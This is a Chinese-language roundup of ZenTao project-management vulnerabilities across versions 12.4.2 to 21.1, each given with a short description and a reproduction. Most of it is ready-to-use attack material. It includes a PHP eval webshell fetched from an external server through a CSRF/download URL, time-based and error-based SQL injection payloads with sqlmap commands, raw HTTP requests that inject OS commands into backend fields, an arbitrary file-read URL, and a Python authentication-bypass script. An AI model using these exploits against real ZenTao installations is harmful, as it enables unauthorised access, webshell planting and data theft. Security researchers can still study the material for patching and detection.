禅道各版本漏洞复现汇总下篇
字数 1474 2025-08-18 17:33:40
禅道各版本漏洞复现与分析
目录
- 禅道12.4.2 CSRF漏洞 (CNVD-2020-68552)
- 禅道12.4.2 后台任意文件上传漏洞 (CNVD-C-2020-121325)
- 禅道16.5 router.class.php SQL注入漏洞
- 禅道v18.0-v18.3 后台命令执行漏洞
- 禅道18.5后台命令执行漏洞
- 禅道20.7后台任意文件读取漏洞
- 禅道21.1开源版SQL注入漏洞
- 禅道项目管理系统远程命令执行漏洞 (CNVD-2023-02709)
禅道12.4.2 CSRF漏洞 (CNVD-2020-68552)
漏洞描述
可以针对禅道的部分模块制造恶意URL地址发送给管理员,当管理员登录时会执行模块的恶意请求,可用于进行钓鱼请求。
影响版本
禅道 <= 12.4.2版本
漏洞验证
- 查看版本信息:
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
- POC制作过程:
原始URL:
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=HTTP://peiqi.tech/SHELL.php
将link参数base64加密:
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
将referer参数以.做分割base64加密两边字符:
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=L3d3dy9pbmRleC5waHA.bT1jbGllbnQmZj1kb3dubG9hZCZ2ZXJzaW9uPTEmbGluaz1TRlJVVURvdkwzQmxhWEZwTG5SbFkyZ3ZVMGhGVEV3dWNHaHc=
漏洞分析
漏洞位于module/common/model.php的checkPriv方法中:
public function checkPriv() {
// ...
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
当调用当前权限不允许的方法时,会进行跳转,并在$referer参数缓存调用的方法URL,当使用这个跳转的地址登录时则会直接调用此方法。
禅道12.4.2 后台任意文件上传漏洞 (CNVD-C-2020-121325)
漏洞描述
登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。
影响版本
禅道 <= 12.4.2版本
漏洞复现步骤
- 准备恶意文件
shell.php:
<?php @eval($_POST[1]);echo phpinfo();?>
- 启动HTTP服务:
python3 -m http.server 8000
- 对URL进行base64编码:
http://127.0.0.1:8000/shell.php → aHR0cDovLzQzLjEzOS42Mi41Njo4MDAwL3NoZWxsLnBocA==
- 构造POC URL:
http://123.58.224.8:63713/zentao/client-download-1-aHR0cDovL2QzLjEzOS42Mi31Nzo4MDAwL3NoZWxsLnBocA==-1.html
- 访问木马文件:
http://123.58.224.8:63713/zentao/data/client/1/shell.php
- 使用蚁剑等工具连接。
禅道16.5 router.class.php SQL注入漏洞
漏洞描述
禅道V16.5未对输入的account参数内容作过滤校验,导致攻击者拼接恶意SQL语句执行。
影响版本
禅道V16.5
POC示例
- 延时POC:
http://ip:port/index.php?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b
- 报错注入:
admin' and updatexml(1,concat(0x7e,(user),0x7e),1) and '1'='1
- 使用SQLMap自动化检测:
python sqlmap.py -r request.txt --level=5 --risk=3 --threads=10 --dbms=mysql
禅道v18.0-v18.3 后台命令执行漏洞
漏洞描述
禅道后台存在RCE漏洞,存在于V18.0-18.3之间,漏洞来源于新增加的一个功能模块。
影响版本
禅道V18.0-V18.3
POC示例
POST /zentaopms/www/index.php?m=zahost&f=create HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zentaosid=fwaf16g51w678678qw686;
vsoft=kvm&hostType=physical&name=penson&extranet=xxx.xxx.xxx.xxx%7Ccalc.exe&cpuCores=2&memory=16&diskSize=16&desc=&uid=640be59da4851&type=z
禅道18.5后台命令执行漏洞
漏洞描述
禅道18.5版本后台存在命令执行漏洞。
影响版本
禅道18.5
POC示例
- 第一步请求:
POST /zentaopms/www/index.php?m=custom&f=ajaxSaveCustomFields&module=common§ion=features&key=apiGetModel HTTP/1.1
Host: 192.168.234.128
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;
fields=true
- 第二步执行命令:
POST /zentaopms/www/index.php?m=api&f=getModel&moduleName=repo&methodName=checkConnection HTTP/1.1
Host: 192.168.234.128
Content-Type: application/x-www-form-urlencoded
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;
client=calc.exe&SCM=Subversion
禅道20.7后台任意文件读取漏洞
漏洞描述
禅道20.7后台存在任意文件读取漏洞,但只能读取网站目录下的文件。
影响版本
禅道20.7
POC示例
http://192.168.91.1:8017/index.php?m=editor&f=edit&filePath=Li4vLi4vY29uZmlnL215LnBocA==&action=extendOther&isExtends=3
禅道21.1开源版SQL注入漏洞
漏洞描述
禅道21.1 module\search\control.php在againstCond的拼接过程中,每个单词被直接添加到查询条件中,没有进行任何过滤或转义处理。
影响版本
禅道21.1开源版
POC示例
GET /index.php?m=search&f=index&words=1&type=all&zin=1 HTTP/1.1
Host: 192.168.88.6
Cookie: zentaosid=d5ikdmm295l1ca5ec4an8p4f7u;
使用SQLMap检测:
python sqlmap.py -r 1.txt --level=5 --risk=3 --threads=10 --dbms=mysql
禅道项目管理系统远程命令执行漏洞 (CNVD-2023-02709)
漏洞描述
禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致了认证绕过,并且后台中有多种执行命令的方式。
影响版本
- 开源版:>=17.4,<=18.0.beta1
- 企业版:>=7.4,<=8.0.beta1
- 旗舰版:>=3.4,<=4.0.beta1
漏洞复现
- 权限绕过代码:
import requests
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}
def bypasscookie(url,session):
target = url + "/index.php?m=misc&f=captcha&sessionVar=user"
r = session.get(target, headers=header)
zentaosid = r.cookies.get_dict()['zentaosid']
print(zentaosid)
header["Cookie"] = "zentaosid=" + zentaosid
resp = session.get(url + "/index.php?m=my&f=index", headers=header)
if "/shandao/www/index.php?m=user&f=login" not in resp.text:
print("绕过登陆验证")
else:
print("无法绕过验证")
if __name__ == '__main__':
url = "http://127.0.0.1:8081/shandao/www/"
session = requests.Session()
bypasscookie(url,session)
- 后台RCE步骤:
- 先创建Gitlab代码库,拿到repoID
- 然后编辑该仓库,在client参数中注入命令
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zentaosid=r3094u5448167shtdrur4c7b6q;
product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65